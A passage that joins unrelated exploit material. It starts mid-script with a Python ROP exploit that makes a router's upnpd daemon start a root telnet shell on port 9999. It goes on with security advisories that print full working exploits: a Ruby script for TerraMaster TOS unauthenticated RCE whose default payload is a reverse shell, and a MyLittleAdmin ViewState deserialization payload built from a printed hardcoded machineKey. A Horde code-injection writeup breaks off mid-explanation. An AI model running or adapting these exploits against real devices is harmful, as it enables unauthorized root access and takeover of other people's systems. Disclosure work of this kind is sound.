u2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''

payload = payload.replace('z3Bz','\xff\xff\x1b\x40') # Need to Existed Address

payload = payload.replace(' AAA ','\xf0\x30\x02\x00') #change eip

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

"""
.text:00013644                 MOV             R0, R10 ; dest
.text:00013648                 MOV             R1, R5  ; src
.text:0001364C                 BL              strcpy
.text:00013650                 MOV             R0, R4
.text:00013654                 ADD             SP, SP, #0x5C ; '\'
.text:00013658                 LDMFD           SP!, {R4-R8,R10,PC}
"""

bssBase = 0x9E150   #string bss BASE Address

expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5  //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8 
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5  //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5  //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5  //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5  //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5  //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5  //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

print "[*] Make Payload ..."

"""
.text:0001A83C                 MOV             R0, R4  ; command
.text:0001A840                 BL              system
"""

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5 
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l

s.connect(('239.255.255.250', 1900))

print "[*] Send Proof Of Concept payload"

s.send('a\x00'+expayload)#expayload is rop gadget 

s.send(payload)

def checkExploit():
	soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		ret = soc.connect(('192.168.1.1',9999))
		return 1

	except:
		return 0
	
time.sleep(5)

if checkExploit():
	print "[*] Exploit Success"
	print "[*] You can access telnet 192.168.1.1 9999"
else:
	print "[*] Need to Existed Address cross each other"
	print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
	print "[*] To exploit reexecute upnpd, description"
	print "[*] Access http://192.168.1.1/debug.htm and enable telnet"
	print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"

s.close()
print """

[*] Done ...
"""

SSD Advisory – TerraMaster OS exportUser.php Remote Code Execution

TL;DR

Find out how we exploited an unauthenticated TerraMaster OS vulnerability and gained root access to the device.

Vulnerability Summary

TerraMaster Operating System (TOS) is an operating system designed for TNAS devices. Invalid parameter checking in TOS leads to an unauthenticated Remote Code Execution vulnerability in the product, further to that the executed code runs with root privileges.

CVE

CVE-2020-15568

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

TOS version 4.1.24 and below

Vendor Response

The vendor has released a patch for this vulnerability, all versions from version 4.1.29, and above are no longer vulnerable to this issue.

Vulnerability Details

A dynamic class method invocation vulnerability exists in file include/exportUser.php which leads to executing remote commands on TerraMaster devices with root privileges.

The vulnerable file requires several HTTP GET parameters to be provided in order to reach method call and exploit this vulnerability. On first line application includes app.php (see in below code snippet) which autoloads relevant core classes of TOS software.

The application decides operation based on value of GET parameter type. If value of type variable is something different than 1 or 2, then it’s possible to reach vulnerable code.

As seen in below source code of exportUser.php, application requires HTTP GET parameters cla (shorthand for class), func and opt.

<?php
	include_once "./app.php"; // [1] autoload classes
	class CSV_Writer{
		...
	}
	$type = $_GET['type'];
	$csv = new CSV_Writer();
	if($type == 1){
		$P = new person();
		$data = $P->export_user($_GET['data']);
		$csv->exportUser($data);
	} else if($type == 2) {
		$P = new person();
		$data = $P->export_userGroup($_GET['data']);
		$csv->exportUsergroup($data);
	} else { // [2] type value is bigger than 2
		//xlsx通用下载
		$type = 0;
		$class = $_GET['cla'];
		$fun = $_GET['func'];
		$opt = $_GET['opt'];
		$E = new $class();
		$data = $E->$fun($opt); // [3] vulnerable code call
		$csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']);
	}
?>

During code review of other files as well, it has been found that there is a way to exploit this issue with pre-existing classes in TOS software.
PHP Class located in include/class/application.class.php is best candidate to execute commands on devices that runs TOS software.

Since exportUser.php has no authentication controls, it’s possible for unauthenticated attacker to reach code execution by providing following values as HTTP GET parameters.

include/exportUser.php?type=3&cla=application&fun=exec&opt=id&uname -a < output.txt

This request forces exportUser.php to create a new instance of “application” class and call it’s public method “exec” to execute code as root. As a result, application should write output of commands to output.txt in web server.

Demo

Exploit

Following GET request show demonstration of code execution on device that runs TOS software.

GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(id;whoami)%3Eoutput.txt
HTTP/1.1
Host: terramaster.nas:8181
Connection: keep-alive
User-Agent: the UA

Result of the executed command will be written to output.txt in the web server directory under /include/output.txt.

HTTP/1.1 200 OK
Date: Thu, 02 Jul 2020 11:49:11 GMT
Content-Type: text/plain
Last-Modified: Thu, 02 Jul 2020 11:46:10 GMT
Transfer-Encoding: chunked
Connection: close
ETag: W/"5efdc902-4e6"
X-Powered-By: TerraMaster
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cross-Origin-Resource-Policy: same-origin
Content-Encoding: gzip
uid=0(root) gid=0(root)
root

An attacker can upload a web shell or trigger python/php interpreter on the system to get a reverse shell.
Below is the exploit that demonstrate it.

require 'net/http'
require 'uri'
require 'optparse'

def make_request(uri, debug)
	Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|
		request = Net::HTTP::Get.new uri
		response = http.request(request)

		if debug
			puts "[LOG] [%d] response: %s" % [response.code, response.body] 
			puts
		end
	end
end

def header()
	puts "*" * 60
	puts 
	puts "TOS V4.1.24 Unauthenticated Remote Root Shell Exploit"
	puts
	puts "*" * 60
	puts 
end


options = {}

header()

OptionParser.new do |opts|
	opts.banner = "Usage: tos_rce_exploit.rb [options]"
	opts.on("-t target_uri", "URI of target TOS application (e.g: http://terramaster.host:8181)") do |val|
		options[:target_uri] = val
	end

	opts.on("-l local_ip", "Local IP for reverse shell/netcat listener") do |val|
		options[:local_ip] = val
	end

	opts.on("-p local_port", "Local Port for reverse shell/netcat listener") do |val|
		options[:local_port] = val
	end

	opts.on("-c linux_cmd", "Any bash command to be run on target TerraMaster") do |val|
		options[:cmd] = val
	end

	opts.on("-v", "Verbose messages") do |val|
		options[:debug] = true
	end
end.parse!

target = options[:target_uri]
local_ip = options[:local_ip]
local_port = options[:local_port]
debug = options[:debug] || false
payload = options[:cmd] || "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{local_ip}\",#{local_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
vulnerable_uri = "#{target}/include/exportUser.php?type=3&cla=application&func=_exec&opt=#{URI.escape(payload)}+%26"


puts "[INFO] Make sure that your listener started on #{local_ip}:#{local_port}"
puts "[INFO] Sending exploit request to #{target}"
puts "[INFO] Vulnerable function don't return command output so forward it to file" if options[:cmd]
puts "[DEBUG] #{vulnerable_uri}" if debug
make_request URI(vulnerable_uri), debug

SSD Advisory – MyLittleAdmin PreAuth RCE

TL;DR

Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 

Vulnerability Summary

MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.

CVE

CVE-2020-13166

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.

Vendor Response

Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.

Workaround

The following workaround was provided to us by Tim Aplin from @Umbrellar:

Go into IIS > Machine Keys > Generate new Key > Apply
Run: IISreset

Vulnerability Details

MyLittleAdmin utilizes a hardcoded machineKey for all installations, this value is kept in the file: C:\Program Files (x86)\MyLittleAdmin\web.config

An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.

Vulnerable Key

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2
C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33
E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

Demo

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

Exploit

The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client

http_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

__VIEWSTATEGENERATOR = ""
__EVENTVALIDATION = ""
ServerName = ""

for input in soup.find_all('input'):
  if input['id'] == '__VIEWSTATEGENERATOR':
    __VIEWSTATEGENERATOR = input['value']
  if input['id'] == '__EVENTVALIDATION':
    __EVENTVALIDATION = input['value']
  if input['name'] == 'fServerName$cControl':
    ServerName = input['value']

# print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '__VIEWSTATE' : shellcode,
  '__VIEWSTATEGENERATOR' : __VIEWSTATEGENERATOR,
  '__EVENTVALIDATION' : __EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))

SSD Advisory – ManageEngine OpManager Unauthenticated Access API Key Access leads to RCE

A vulnerability in ManageEngine OpManager allows a remote attacker to leak the API key of the product (administrative level API key) which we can then use to execute remote commands with root privileges.

SSD Advisory – Netsweeper PreAuth RCE

Netsweeper provides real-time content monitoring and reporting for early intervention.
One of our researchers had recently managed to perform remote code execution on Netsweeper’s content monitoring platform which may pose a risk to firms and industries utilizing their product.

SSD Advisory – Horde Groupware Webmail Edition Remote Code Execution

Vulnerability Summary
The Horde project comprises of several standalone applications and libraries. The Horde Groupware Webmail Edition suite bundles several of them by default, among those, Data is a library used to manager data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.
The function in charge of parsing the CSV format uses create_function in a way that enables injection of arbitrary PHP code, thus enabling Remote Code Execution on the server hosting the web application.

CVE
Placeholder

Credit
An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Horde Groupware Webmail Edition Version 5.2.22

Vendor Response
Placeholder

Vulnerability Details
A vulnerable CVE parsing feature is used by several Horde applications:

  • Turba (address book; via /turba/data.php)
  • Mnemo (notes; via /mnemo/data.php)
  • Nag (tasks; via /nag/data.php)
  • Kronolith (calendar)

By using one of these, an authenticated user can execute arbitrary PHP and shell code as the user that runs the web server, usually www-data.
In the master branch of the Data repository, a commit replaced create_function with a lambda function (as suggested by PHP that deprecated create_function in version 7.2.0), yet apparently the authors failed to recognize the exploitable status of prior code so they did not release a new version. So, when installing Horde via PEAR or Debian APT, it yields the vulnerable version (2.1.4).
Since this vulnerability does not concern IMP (the Horde webmail application) specifically, it is likely that the vulnerability affects regular Horde Groupware installations as well.


In the file lib/Horde/Data/Csv.php the following snippet is used to parse a CSV line:

if ($row) {
    $row = (strlen($params['quote']) && strlen($params['escape']))
        ? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
        : array_map('trim', $row);
}

Among the other things, the user supplies $params['quote'], so for example if its value is quote then create_function is called as:

create_function('$a', "return str_replace('\\quote', 'quote', \$a);")

The insufficient sanitization of $params['quote'] escapes ’ as \’ but fails to escape the \ itself thus allowing to escape the last hard coded ’. By passing quote\, create_function is called as:

create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a)")

And evaluated body is:

return str_replace('\quote\', 'quote\', $a);

